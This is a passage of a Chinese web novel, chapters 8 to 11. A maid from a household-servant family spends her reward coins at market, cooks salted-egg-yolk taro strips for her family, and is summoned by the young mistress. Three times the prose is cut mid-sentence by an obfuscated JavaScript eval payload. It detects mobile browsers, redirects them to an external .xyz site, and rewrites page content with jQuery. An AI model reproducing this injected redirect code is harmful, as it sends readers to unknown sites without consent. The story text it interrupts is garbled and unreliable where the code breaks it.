胡姣初来乍到，刘氏自然高兴她能有个小姐妹照应着，于是立马找了出来，又拿个小罐子倒了些，叮嘱她让喜姐儿晚上睡觉前，搓热了手把药酒揉进去，睡一觉起来就能好多了。胡姣应了，又赶忙回了大厨房。倒是没有人疑心她去了这么久才回来，都像瓜田里的猹一样听八卦吃瓜呢。 胡姣悄悄把这小罐子装的药酒递给喜姐儿，又把用法细细说了。喜姐儿感动得不行，一个劲儿地拉着胡姣的手。 “椒姐儿，你真是个好的，你的情我记着了，以后你若有什么事也只管找我。” 胡姣并没有把她这番话放在心上，只是笑笑说：“知道了。” 申时左右，鲍娘子、林大娘、张婆子陆陆续续前来上工。不过今儿午间刚吃过了席面，主子们都不太饿，所以晚食相对来说也简单一些。这倒是省了胡姣等小丫头的事儿了。 8. 第 8 章 等一切收拾停当，胡姣从大厨房下了工时，天已经擦黑了。她娘刘氏已经在家熬好了糙米粥，又切了两个咸鸭蛋，拌了咸菜丝，就等她回来开饭。 胡姣洗了把脸，坐下吃饭，又从怀里掏出那几个捂得温热的铜子儿，献宝似的捧到刘氏跟前。 刘氏借着灯光，见女儿掌心摊着几枚黄澄澄的铜钱，不由得眼睛一亮：“哟，这是？” “是赏钱。”胡姣语带笑意，“今儿席面办得顺当，老太太、梅娘子高兴，大厨房上下都得了赏。我虽是新来的，但管事娘子们说我机灵，手脚也还算麻利，所以也得了五个。加上去内院服侍，额外又多给了两个。” 她将白日里如何跟着去内院捧菜，如何得了这意外之财，拣那能说的，细细与刘氏分说了一遍。 刘氏听着，脸上也绽开了笑，连声道：“好，好，我儿出息了！头一遭当差就得赏，真真给爹娘长脸。” 胡姣将那几个铜子儿往刘氏手里一塞：“阿娘，您收着，贴补家用。” 刘氏一听，却像被火烫了手似的，忙不迭地推了回去：“这可不行。这是你自己挣来的，家里再难，也不缺你这几个铜子儿。况且，姑娘家大了，身上没点私房钱怎么成？留着，买朵花儿戴，或是馋了买个零嘴儿，都使得。” 胡姣见她娘执意不收，心头暖意更甚。 虽然在这个时代看来，刘氏可能不是个好女子，泼辣，又把家里的爷们儿辖制地死死的，简直就是个母大虫。可胡姣却觉得她阿娘是再好不过的女子了。 她是泼辣，可也从不占别人便宜，又会做人，与这样的人相处，未必会喜欢，可也绝不会生厌。 再者，刘氏从不重男轻女，更不会克扣女儿贴补儿子，这一点是极为难得的。反观其他人却是深受这一观点的迫害，不说同在灶下当差的喜姐儿，就连一个院儿里住着的金桂也是如此。 这金桂和胡姣一般大，她爹几年前病死了，娘是在大房院里做洒扫的。金桂下面还有一个弟弟，一个妹妹，都是她带着长这么大的。家里吃饭的人多，金桂娘一个月又挣不了几个子儿，便只能从女儿嘴里抠出来给儿子吃。 胡姣来了这几个月，不止一次看见金桂做好了饭被赶出来洗衣裳，等洗完回去就只剩个锅底儿了。 有一回，金桂饿得受不了，偷拿了刘氏晒在外面的萝卜条，被刘氏发现了找上门去。金桂娘一边打她，一边阴阳怪气地说都怪她那死鬼爹走得早，扔下她们娘仨没人疼没人管，不然哪至于让她饿到眼冒金星，做出这偷鸡摸狗的勾当来？ 这话半是哭诉半是埋怨，明着是教训女儿，实则句句往刘氏身上引，既卖了惨，又暗戳戳怪刘氏不该跟个饿肚子的孩子计较。把她自家的理亏倒绕成了旁人该体谅的难处。 刘氏“辣子”的诨名也不是白叫的，当下就呛了回去，骂她男人死得早是老天爷不长眼，碍着偷东西什么事了？自家养不出好种来，倒怪起旁人没给她当冤大头。不是打孩子，是打给她看呢，想撒泼耍赖蒙混过关，那是做梦！要是不赔了东西来，就把她家偷东西的名声传出去，让她一家子在这院儿里抬不起头来！ 这一番威逼到底让金桂娘怕了，乖乖舀了半碗灰面送了来，只是不知道回去有没有再打金桂。 所以，胡姣真的非常庆幸，老天爷让她再世为人，还给了她这么好的阿娘。 于是抿嘴笑道：“阿娘既这么说，那我也不推辞了，等过两日我轮休的时候，带豆哥儿上街买零嘴儿吃。” 豆哥儿原本在炕角玩着几颗磨圆了的石子儿，一听“零嘴儿”三个字，耳朵“唰”地就竖了起来，小脑袋猛地抬起，一双眼睛亮晶晶地望过来。 刘氏看着儿子的馋样儿，又瞧见女儿笑盈盈的脸，心头一软：“你们姐弟俩高兴便好。只是，日后发了工钱，也要攒些起来，莫要全花了，这府里当差，人情往来，保不齐什么时候就用上了。知道么？” 胡姣重重点头：“阿娘放心，女儿省得。” 光阴似箭，胡姣到大厨房当差，眨眼也将近半个月了。 张婆子见她做事勤快，又嘴甜会做人，心中便对她有几分欢喜，竟比原定的日子还提早了两天给她转了正。自此，胡姣便算真真正正是大厨房里的灶上人了。 陈府的规矩，下人平日里一般不许告假，如果告假，需得由管事娘子上报给内院总管事，得到批准后方能离开。所以，各处的仆妇、杂役们通常不会请假，除非是遇着了紧要的事，毕竟请假不但要上报，还要扣工钱。 好在府里也还算体恤，每月每人倒也有三天休息时间，大抵是十天里轮着歇一天。胡姣先前不过是试工，自然没有这项福利。如今转了正，张婆子倒还爽利，当即准了她一日假。 胡姣得了这空儿，便想带了自家兄弟豆哥儿，一道上街去耍子，顺道也瞧瞧这外头的情况究竟如何。 她翻出藏在炕头小木匣子里那几个宝贝铜钱，又在掌心数了一回，不多不少，正好七个。也不知够不够使，横竖全揣进了怀里。 她娘刘氏已经上工去了，胡姣难得睡了个饱足。起身和豆哥儿胡乱吃了些早食，略略整了整衣衫，便挎起竹篮出门去了。 刚踏出陈府仆役聚居的房舍，喧嚣的市声与鲜活的人气便如同潮水般扑面涌来。 泰和县虽非通都大邑，却也自有其繁华。青石板铺就的街道两旁，店铺林立，幌子招摇。绸缎庄、杂货铺、铁匠铺、药铺、茶肆、食摊……琳琅满目，应接不暇。 各色人等穿梭其间，挑担的货郎吆喝着时新的花果，卖糖人的老汉吸引着孩童的目光，赶车的把式甩着响鞭，穿绸裹缎的富家子带着小厮闲逛，布衣荆钗的妇人挎着篮子采买…… 这是胡姣穿越以来，第一次看见外面世界的模样。她贪婪地呼吸着自由的空气，新奇地打量着一切。 豆哥儿更是撒开了欢儿，脑袋左顾右盼，看什么都新 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127967|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鲜，鼻子使劲吸着空气中弥漫的各种食物香气，口水都快流出来了。 “姐姐，那是什么？好香！”他指着一个热气腾腾的蒸笼摊子。 胡姣牵着弟弟走过去。 摊主是个笑容憨厚的中年汉子，见有客来，热情招呼：“小娘子，小哥儿，尝尝？新鲜出笼的蒸饼，皮儿薄馅儿大，价格实惠，肉蒸饼两个铜子儿一个，菜蒸饼一个铜子儿一个。” 油香混合着麦香，勾得人馋虫大动。胡姣咽了口唾沫，低头看看豆哥儿渴望的眼神，又掂量了一下荷包里的那几个铜子儿，便数了四个递给老板。 “要一个肉蒸饼，两个菜蒸饼。” “好嘞！”摊主麻利地用油纸包好递过来。 胡姣把那个冒着浓郁香气的肉蒸饼塞给豆哥儿：“小心烫，慢慢吃。”她自己则是拿起一个菜蒸饼，剩下的一个仍旧用油纸包好塞到随身的小布包里，那是给她娘刘氏带的。 豆哥儿捧着香喷喷的肉蒸饼，有些不好意思：“姐姐，你吃菜蒸饼，我……” “姐爱吃菜的，清爽。”胡姣笑着咬了一口自己手里的菜蒸饼。 老板说的不错，这蒸饼确实用料实在，个头足有成年男子的拳头那么大，虽不是纯白面做的，但也没掺太多杂面。里面的青菜是这个时节常见的矮脚青，肉嘟嘟的，非常清甜。老板还额外放了些不知名的野菌子提升口感。唔，还拌了香油，一口咬下去，油香四溢，口味真不错。 胡姣边吃边点头，显然这一个铜子儿的菜蒸饼深得她心，可比前世“xx馒头”的预制包子强太多了。 吃饱了，胡姣和豆哥儿就开始在街面上闲逛。只逛不买的那种。 不是她抠，而是真的穷。 七个铜子儿，买三个蒸饼就去了四个。其实，旁边馄饨摊的肉馄饨也很实惠，只要五个铜子儿就有一大碗，可是她连想都不敢想。 不敢想的不仅仅是一碗馄饨。 毕竟，只靠月例和偶尔的打赏，不知道要猴年马月才能让爹娘和豆哥儿过上好日子，更别提想要赎身出府了。 嗯，赎身这个想法，从她知道自己一家是陈府家生子的那一刻就开始扎根了。 什么是家生子呢？名义上和外头赁来的一样，都是府里的奴才，可家生子比一般的奴才更没人权。 在主人家眼里，家生子就和那桌椅板凳、骡马牲口一般，是能随意打骂发卖的私有财产。 所以，她才盼着有一天能赎出身契，带着全家离开这深宅大院，做个自由自在平民百姓。 自然，这话她半个字也不敢对外吐露，连亲娘刘氏也死死瞒着。毕竟，她娘常说，外头多少人削尖了脑袋想进陈府伺候还进不来呢。这心思，在她娘看来，简直是离经叛道，脑子有病。 “得赚钱啊！” 这个念头前所未有的强烈。但是怎么才能赚钱呢？ 要是天上能掉钱就好了，砸死她也愿意。 9. 第 9 章 胡姣一边天马行空地想象，一边不停地看着街道上的物品。 走着走着，在街市相对冷清的一角，一个缩着脖子的老婆婆引起了她的注意。她面前的地上堆着几堆小山似的、沾着新鲜泥土的根茎状物，表皮粗糙，呈现出深褐色。 “莒根！新挖的莒根！三个铜子儿一堆，老便宜了喂！”老婆婆的声音带着浓重的乡音，卖力地吆喝着。 过往行人大多瞥一眼便匆匆走过，偶有驻足，也是摇头。 有人低声议论：“这玩意儿粗粝得很，煮半天也煮不烂，吃着刮嗓子，穷得没辙了才吃它。” “可不是，吃多了还胀气，肚子疼哩！” “三个铜子儿？白给我都嫌占地方！” 胡姣却心头猛地一跳。莒根？不就是芋头吗？ 她快步走过去，蹲下身，拿起一个掂量掂量，又凑近看了看，果然是芋头，个头还不小，看着倒和后世的荔浦芋头很像。 “婆婆，这一堆，当真只要三个铜子儿？”胡姣指着那足有四五斤重的一大堆芋头问道。 见有人询问，老婆婆赶忙道：“当真！小娘子，都是今早新从地里刨出来的，新鲜着呢！三个铜子儿，您全拿走！” 胡姣二话不说，立刻摸出身上最后的三个铜子儿，塞到老婆婆那布满老茧的手里，买下了。 老婆婆则是面露笑容，连声道：“多谢小娘子！多谢小娘子！” 这老婆婆倒也会做人，还白送了胡姣两个，只说是乡下人自己种的，不值什么钱，下次若是遇上了，多光顾就成，她成日里都在这一片卖自家种的菜蔬的。 豆哥儿在一旁看着，小眉毛皱成一团，等老婆婆走远了，才扯着胡姣的衣角，一脸难以置信：“姐姐，你买这莒根做什么？这东西又粗又硬，阿娘以前煮过，我吃了两口，噎得直翻白眼，肚子还咕噜咕噜叫了一晚上。你买它不是白花钱吗？” 胡姣看着弟弟那副“姐姐你是不是撞石头撞傻了”的表情，忍不住“噗嗤”一笑，伸手捏了捏他鼓囊囊的小脸蛋，神秘兮兮地道：“傻豆哥儿，那是旁人不会做。等姐姐回去施展点手段，把这莒根变个模样做出来，保管香得你连舌头都想吞下去，只怕到时候，你还嫌姐姐做得少哩！” 豆哥儿将信将疑：“真的？骗人是小狗！”他才不信呢，阿娘那么会过日子的人都做不好这莒根，姐姐能行？ 胡姣笑一笑，没再解释，打算以事实说话，只在心里盘算开来，把前世那些关于芋头的美味过了个遍：细腻绵滑裹着麻薯的芋泥麻薯；香甜软糯的糖芋苗；外酥里糯的香芋仙豆糕；还有那香醇浓郁的芋头青稞奶茶……光是想想，口水就忍不住要泛滥。 不过，这些东西虽然好吃，需要的配料却多，糖、油、面粉甚至牛乳等物，也不是现在的胡姣能够负担得起的。所以，都不是她打算做的。 她要做的是另外一道颇受后世追捧的菜——金沙映雪，也就是翻沙咸蛋黄芋头条。所要的原材料不过就是苣根、咸蛋黄和白砂糖。 咸鸭蛋家里有，还是刚入冬的时候她娘刘氏腌下的，足有一小瓮，此刻早已腌透了，敲开来个个蛋黄红亮，滋滋冒油。泰和县邻近运河，水泽丰沛，家家户户都养鸭，鸭蛋的价格比鸡蛋还便宜，一个铜钱能买上两个，鸡蛋却是要两个铜钱三个。所以刘氏也舍得买些鸭蛋腌着，隔三差五取出几个来尝尝鲜。 至于白砂糖，那自然是没有的，家里只有一包红糖。当然，不说胡姣家里没有，便是陈府乃至整个泰和县都少有。原因无他，此时的白糖提炼技术还不够成熟，除了汴京的富贵人家能用得起，差不多的人家都是用红糖或者麦芽熬的饴糖。且糖这东西，无论红白，价格都金贵得很，所以她也没打算多用，意思意思，能挂上那层“霜”便好。 主意既定，胡姣心里便有了底。她拉着犹自嘟着嘴、满脸写着“姐姐好笨”的豆哥儿，提溜着那沉甸甸一篮子芋头——也就是本地人称的“莒根”，脚步轻快地往家赶。 回到自家矮屋，日头才将将爬到中天，离午时尚早。她娘刘氏浆洗的活计正忙，还没下工回来。屋里静悄悄的，正合了胡姣的心思。 她将那一篮子芋头取出一部分倒进洗菜的大木盆里，抄起刷锅用的丝瓜瓤，就着冰冷的井水，仔仔细细刷洗起来。附着在芋头疙瘩上的新鲜泥土被一点点洗去，露出深褐粗糙的本皮。 豆哥儿凑在一旁，眉头依旧拧着：“姐姐，真要做这个啊？可难吃了……” “你就相信姐姐吧。”胡姣手下不停，头也不抬，“去，把灶膛里的灰扒拉扒拉，等会儿给姐姐帮忙烧火。” 豆哥儿半信半疑，却还是听话地去收拾灶膛了。胡姣刷洗干净芋头，又寻了把小刀，开始削皮。这芋头汁液粘滑，沾在手上便是一阵刺痒，她也顾不得，手下动作飞快，将削好的芋头切成手指粗细的长条。切好的芋头条泡在清水里，防止氧化变黑。 一切准备停当，胡姣便唤豆哥儿生火。她先在大锅里添上水，架上竹箅子，将沥干水的芋头条均匀铺上，盖上锅盖大火猛蒸，水汽很快氤氲起来。 胡姣掐着时间，估摸着蒸到芋条能用筷子戳透，却又保持着形状不软烂的状态，便立刻掀盖，将芋头条一一夹出，摊开在干净的簸箕里晾凉。 刷净锅，重新放到灶上。只往锅里倒了两小勺素油，用锅铲抹匀锅底，待油微微起烟，便将晾得半干、不再烫手的芋头条小心地码进锅里，慢慢煎着。 滋滋的声响伴着油香升腾起来，豆哥儿蹲在灶膛前，小鼻子使劲嗅着，眼巴巴望着锅里：“咦？好像……有点香了？” “这才哪到哪，等着瞧吧！”胡姣笑着，用锅铲小心地给芋条翻面，让它们均匀受热，煎至每一面都泛起诱人的金黄脆壳。煎好的芋头条捞出放在一旁备用。 趁着锅热，她又赶紧拿出两个刚才蒸芋头条时顺带蒸熟的咸鸭蛋。剥开青灰色的硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127968|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壳，，胡姣小心翼翼地将两个蛋黄完整地挖出来，放在小碗里用勺子背碾碎。 蛋白也没浪费，仔细收在另一个碗里，留着晚上拌粥吃，是极好的下饭小菜。 锅里煎芋头条的底油尚在，胡姣将碾碎的咸蛋黄一股脑倒进去。豆哥儿很机灵地添了把细柴，小火慢慢煸着。 胡姣用锅铲耐心地翻炒着锅里的蛋黄碎。那蛋黄在热油和温度的作用下，渐渐融化、起泡，冒出细密丰盈的金黄色油沫，散发出极其浓郁醇厚的咸香，色泽也变得愈发诱人夺目。 “哇！”豆哥儿忍不住从灶膛后探出脑袋，眼睛瞪得溜圆，“姐姐，这……这蛋黄怎么变成这样了？好香啊！比肉还香！” “这就叫炒‘金沙’。”胡姣笑一笑，手上动作却不停。见蛋黄已炒得冒油，便将煎得金黄的芋头条重新倒入锅中，加入一小撮盐、一点点花椒粉、还有切得极细的葱蒜末。手腕翻飞，不停翻炒，让每一根芋头条都均匀地裹上这层金灿灿、油润润的咸蛋黄“金沙”。 霎时间，咸蛋黄的浓香、芋头的清甜、葱蒜的辛香、还有那刚刚煎炸出的酥脆焦香，完美地融合在一起，形成一股难以言喻、勾魂摄魄的复合香气，霸道地充盈了整个灶屋。 豆哥儿已经馋得坐不住了，围着锅台直打转，舌头不停地舔着嘴唇。 但这还不是最后一步。胡姣将炒好的“金沙芋条”盛出，再次刷净铁锅。这回，她深吸一口气，带着点做贼般的心虚，从她娘刘氏珍藏的红糖中，小心翼翼地挖出了一小勺——真的只有一小勺，多了怕是要挨训的。 锅中倒入比红糖多一点点量的清水，将那勺珍贵的的暗红色糖块融化其中。小火慢慢熬煮，胡姣屏息凝神，用锅铲不停地搅动着。糖水渐渐变得粘稠，颜色也由深红转为更亮的琥珀色，当糖浆能挂在锅铲上，形成一道缓慢滴落的“旗子”时，火候便到了。 说时迟那时快，胡姣立刻将炒好的咸蛋黄芋头条一股脑倒回锅里，迅速离火。趁着糖浆滚烫粘稠，她双手握住锅柄，手腕用巧劲，飞快地颠簸、翻炒。滚烫的糖浆遇到温度稍低的芋头条，瞬间冷却凝结。神奇的一幕出现了，只见原本裹着“金沙”的芋头条上，飞快地蒙上了一层均匀的、细密如沙的淡红色糖霜。 “成了！”胡姣长长吁了口气，脸上绽开充满成就感的笑容。她将这份香气四溢、金红相间的“金沙映雪”盛入瓷盘里。 “豆哥儿，快来尝尝！”胡姣夹起一根裹着金沙、沾着红霜的芋头条，吹了吹，递到早已望眼欲穿的弟弟嘴边。 豆哥儿迫不及待地一口咬下去。先是牙齿碰到那层薄脆微甜的糖霜，发出轻微的“沙沙”声，紧接着是外层咸蛋黄“金沙”那浓郁咸香、沙沙糯糯的独特口感，最后咬到芋头条，外层被煎得酥脆，内里却依旧保持着蒸熟后的粉糯绵软，带着芋头特有的清甜。咸、甜、酥、脆、糯、香……几种截然不同却又完美融合的滋味在口中轰然炸开。 10. 第 10 章 豆哥儿的眼睛瞬间瞪得比铜铃还大。他小小的嘴巴被塞得满满当当，都顾不上说话，只拼命地点头，小脸上写满了前所未有的震惊。那表情分明在说：天爷！这还是我认识的那个又粗又硬又噎人的莒根吗？简直就是神仙吃的东西啊！ 看着弟弟那吃得手舞足蹈，恨不能把舌头都吞下去的模样，胡姣笑的更开心了。 她拿起筷子，也夹起一根送入口中，细细品尝。嗯，芋头品质不错，够粉糯；咸蛋黄也够油润；红糖霜的甜度则恰到好处，中和了蛋黄的咸，又增添了风味的层次。 虽然受限于材料和工具，比不得前世在饭店里吃的那般精致，但在这时候已然是难得的了。 “好吃！姐姐，真的太好吃了，”豆哥儿终于腾出嘴，小脸激动得通红，指着盘子，“这个叫啥？” 胡姣莞尔一笑：“它啊，叫‘金沙映雪’。” 没一会儿，院子里传来脚步声，是刘氏下工回来了，脸上还带着劳作后的疲惫，一进门就狐疑地嗅了嗅：“咦？什么味儿，怪香的？” 胡姣忙笑着迎上去，拉着刘氏的手进了厨房：“阿娘，您快尝尝！女儿今儿得了闲，用买的莒根试着做了点新鲜吃食，豆哥儿可爱了。” “莒根？”刘氏看着盘子里那金红相间、裹着层淡淡红霜的条状物，怎么看也不像是她认知中的莒根，只是那奇异的浓香越发勾得她腹中馋虫蠢动。 豆哥儿也在旁边帮腔，脑袋像小鸡啄米一样点着：“阿娘，真的好吃，比肉蒸饼还香！” 刘氏拗不过一双儿女，夹起一根送入口中。甫一入口，那层微甜的糖霜便让她一愣，紧接着，浓郁咸鲜的蛋黄香包裹着舌尖，牙齿咬下去，外层是意想不到的酥脆，内里却是粉糯绵软、带着清甜回甘。 刘氏的眼睛倏地瞪大了！她难以置信地咀嚼着，那复杂和谐的绝妙滋味在口中层层递进，彻底颠覆了她对莒根“粗粝难咽”的认知。 “这……这是怎么做的？”刘氏咽下口中的食物，声音带着惊异，然后是后知后觉的心疼：“诶呦，这得费多少油和糖啊？家里的咸鸭蛋也不多了呢。” 胡姣自然知道这是她娘老毛病又犯了，为了不让她继续唠叨，赶忙将做法拣那能说的、省俭的部分解释了一遍，重点强调了只用了一点点油煎、一点点红糖挂霜，咸鸭蛋也只用了两个蛋黄。 “阿娘你看，其实算下来，比吃蒸饼还划算些呢。那莒根只要三个铜子儿就能买一大篮子！” 听胡姣这么解释，刘氏总算是没再说什么。胡姣和弟弟豆哥儿对视一眼，都默默舒了一口气。没办法，刘氏虽然疼他们，可也太会过日子了些，这种“败家”行为往日里可是要被说上好半天呢。 不过，好在刘氏倒是没对胡姣的厨艺起疑，这也是因为在她眼里自家闺女自然是千好万好，如今又去了大厨房，会点灶上手艺不是自然而然的事嘛。 正说着话，一个清脆的女声在院门外高喊： “敢问这里可是大厨房烧火的椒姐儿家？” 听得指名道姓要找椒姐儿，胡姣和刘氏连忙出来查看。 只见，门外站着一个穿着体面的丫鬟，约莫十二三岁年纪，一身半新不旧的青绿色袄裙，梳着双丫髻，发间簪着一朵小巧精致的粉色绢花，一张圆脸笑意盈盈，瞧着就让人心生亲近。正是兰娘身边的大丫鬟绣橘。 “这位姐姐是……”刘氏跟在胡姣身后，见来人穿着打扮不似寻常仆妇，态度倒也客气。 胡姣见过绣橘几面，自然认得，连忙上前一步，侧身让开，介绍道：“阿娘，这位是咱们府里大姑娘身边的绣橘姐姐。” “哎哟！”刘氏一听是兰娘身边的贴身大丫鬟，脸上立刻堆满了笑，连忙往屋里让，“原来是绣橘姑娘，快请进，快请进！外头冷，屋里暖和些，喝口热水暖暖身子。” 绣橘随着刘氏进了屋，目光飞快地在简陋但还算整洁的屋子里扫了一圈，脸上笑容不变，语气带着点恰到好处的亲热：“婶子客气了。我呀，就是替我们姑娘跑个腿儿，传句话。只是，这话倒不好传，让我好一顿找！先去了大厨房，说椒姐儿今儿轮休，回家去了。我又不知道婶子家具体住哪里，问了好几个人才摸到这儿来。” 刘氏一听，更是过意不去，连声说：“真是辛苦姑娘了！快坐，快坐！”说着又要去倒红糖水给她喝。 绣橘这等大丫鬟，又不是没见过世面，哪里稀罕什么红糖水，连忙摆手让刘氏别忙活了。 胡姣在一旁看着，心里大致明白了七八分，于是拦住母亲：“阿娘，您陪绣橘姐姐坐着说会儿话，我去给姐姐倒水。”说着，转身就进了灶屋。 她手脚麻利，先冲了一碗温热的红糖水放在托盘上。又飞快地取过一个洁净的小碟子，小心地从大盘子里挑拣出几块芋头条，整整齐齐地码放在小碟子里，倒也有几分精致的样子。 胡姣端着托盘回到屋里，先将红糖水放到绣橘手边的小桌上：“绣橘姐姐，走了这么远的路，喝口糖水润润喉吧。”接着，又将那碟子“金沙映雪”推了过去，脸上带着点不好意思的浅笑，“家里实在没什么能拿得出手的东西，这是我今儿在家胡乱鼓捣的一点子吃食，姐姐别嫌弃，尝个新鲜。” 绣橘的目光落到那碟子金红相间、卖相颇为奇特的东西上，眼中掠过一丝好奇。她本欲推辞，但那奇异的香味丝丝缕缕钻入鼻端，勾得人食指大动。加之胡姣态度恳切自然，她也就没再客气，笑道：“椒姐儿真是手巧，这看着就不一般。那我可就不客气了，尝尝你的手艺。” 她拿起筷子，搛起一根芋头条送入口中。牙齿轻轻咬下，脸上露出真实的赞叹：“椒姐儿，你的手艺可真不错。这东西可有个名儿？味道咋恁好？”她忍不住又搛了一根。 一旁的刘氏听得又惊又喜，惊的是女儿鼓捣出的这东西竟然入了大姑娘身边体面丫鬟的眼，喜的是女儿露了脸。 胡姣见绣橘喜欢，心中也高兴，面上却只谦逊道：“姐姐过奖了，不过是野路子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16127969|180140||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，胡乱弄着玩的，叫个‘金沙映雪’，让姐姐见笑了。” 她见绣橘吃得满意，这才转入正题，“绣橘姐姐特意寻来，不知可是姑娘有什么吩咐？” 绣橘这才想起正事，忙放下筷子，语气温和地道：“是这样。上次在致爽斋花厅，晖哥儿不小心撞倒了我们姑娘，当时亏得你机灵上前扶了一把，姑娘心里一直记着呢。回去后就跟我说你是个好的。总想找个机会叫你去芳汀阁说说话，当面谢谢你。 只是前些日子，我们娘子给姑娘留了好些功课，日日要习字、练琴、背书，真真不得闲。今儿总算把功课赶完了，得了点空儿，便立刻打发我来寻你。谁知去了大厨房扑了个空，幸好问着了住处。这不，紧赶慢赶就来了。” 这番话信息量不小。刘氏在一旁听得是云里雾里，什么致爽斋花厅，晖哥儿撞倒了兰姑娘，自家闺女还上前扶了？大姑娘竟因此记在心里，还特意派人来请去说话？这……这都什么时候发生的事？她怎么一点风声都没听着？ 刘氏下意识地看向女儿，眼神里满是询问。 胡姣心中了然，但对上母亲探究的目光，只微微摇了摇头，示意稍后再说。 又转向绣橘，脸上带着恰到好处的感激和惶恐：“原来是为着那点小事。姑娘也太客气了，举手之劳罢了，哪里当得起姑娘这般记挂？倒叫姑娘费心了。” 绣橘看她懂事知礼，心里也满意，笑道：“你没在姑娘跟前伺候过，不知道我们姑娘的为人。姑娘性子是安静些，可心里是最明白也的。谁待她一分好，她必记在心里十分。往后处久了你就知道了。姑娘还在芳汀阁等着呢，你看……” “既然是姑娘召唤，自然不敢耽搁。”胡姣立刻应道，“绣橘姐姐稍坐片刻，容我洗把脸，换件干净衣裳，这就随姐姐过去。” 绣橘点头：“好，那你快些。” 胡姣转身进了里屋。刘氏忙跟了进去，压低声音问她到底是怎么一回事儿。 “阿娘放心，”胡姣一边从炕头小木箱里翻找出一件半旧但洗得干干净净的靛蓝色细布袄裙换上，一边快速简洁地解释。 “就是前几日去内院捧菜那次，晖哥儿和英娘玩耍推搡，不小心撞倒了兰姑娘，当时没人留意，我离得近就顺手扶了一把。真不是什么大事，姑娘心善，才记着。”她省去了王娘子和梅娘子打机锋的那段，免得母亲担心。 刘氏听女儿说得笃定，又想到刚才绣橘的态度很是和善，悬着的心才稍稍放下，但依旧叮嘱：“去了千万要守规矩，姑娘问什么答什么，机灵些。” “女儿省得。”胡姣利落地换好衣服，用水抹了把脸，将散落的碎发抿到耳后。正打算走，想了想，又去厨房拿起一个还算雅致的粗瓷碟子，将剩下的芋头条仔细地码放进去。 家里没有食盒，她寻了个干净的小竹篮，里面垫上块洗得发白的粗布，小心翼翼地将碟子放稳，又罩上一个篾片编的盖子。这简陋的“食盒”，便是她能拿出的唯一一份心意了。 11. 第 11 章 收拾停当，胡姣提着篮子出来。绣橘见她换了干净衣裳，人也显得清爽利落，目光又落在她提着的篮子上，问道：“椒姐儿，你这提的什么？” 胡姣有些不好意思地揭开篮子上的盖子，露出里面的粗瓷碟子。 “姐姐别笑话，就是方才你尝的那种点心。我想着头一次去拜见姑娘，空着手总是不恭敬。家里又实在没什么拿得出手的东西，这点心虽然粗陋，但胜在还算新鲜，斗胆带一点过去，请姑娘尝个新鲜。” 绣橘脸上的笑容更加真切，赞许地点点头：“椒姐儿，你这份心，真真是细！我方才尝了就觉得好，正想着能不能请你匀一点给姑娘尝尝呢，你倒先想到了。姑娘见了，必定欢喜。” 她站起身，“那咱们这就走吧，别让姑娘久等了。” 胡姣又对母亲刘氏道：“阿娘，我去去就回。”刘氏忙不迭地应着，一路送到巷子口才回去。 芳汀阁坐落于陈府内宅的东北角，位置颇有些偏僻。院落不大，几竿修竹掩映着三间小小房舍，檐下悬着的素色灯笼在风里微微摇晃。 胡姣跟在绣橘身后，穿过几道回廊，终于来到院门前，抬头便见黑漆门楣上悬着一块小小的匾额，题着“芳汀阁”三字，字迹娟秀清雅。 绣橘引着她进了西次间。屋内陈设简单洁净，临窗一张花梨木书案，案上整齐地码放着几卷书以及笔墨纸砚。靠墙是一张罗汉榻，榻上铺着半旧的秋香色锦褥，旁边一张小几，摆着一个素净的白瓷瓶，里面随意插着几支疏朗的枯梅枝，倒添了几分野趣。角落里燃着一个小小的炭盆，散发出融融的暖意。 兰娘正倚在榻上，捧着一卷书在看。她穿着一件家常的浅青色袄子，下系月白绫裙，通身并无多少饰物。见绣橘引着胡姣进来，她立刻放下书卷，坐直了身子，脸上露出真切的笑意，招呼道：“快进来，外面冷。” 胡姣不敢怠慢，上前规规矩矩地行了礼：“奴婢椒姐儿，给姑娘请安。” “不必多礼，”兰娘忙道，指了指榻前一张铺着半旧锦垫的杌子，“快坐下说话。”又转头吩咐侍立在一旁的一个小丫头，“芸豆，去给椒姐儿倒杯热茶来，要早上沏了两遍的。” 那小丫头芸豆不过八九岁模样，脆生生应了，很快捧来一盏热腾腾的茶，放在胡姣手边的小几上。几上还摆着一碟四色细点：酥皮小饼、芝麻糖片、蜜饯金桔和几块奶白色的云片糕。 “尝尝这个，”兰娘将点心碟子往胡姣这边推了推，“是今儿早上二婶娘打发人送来的，我吃着还好。”她语气温软，面容可亲。 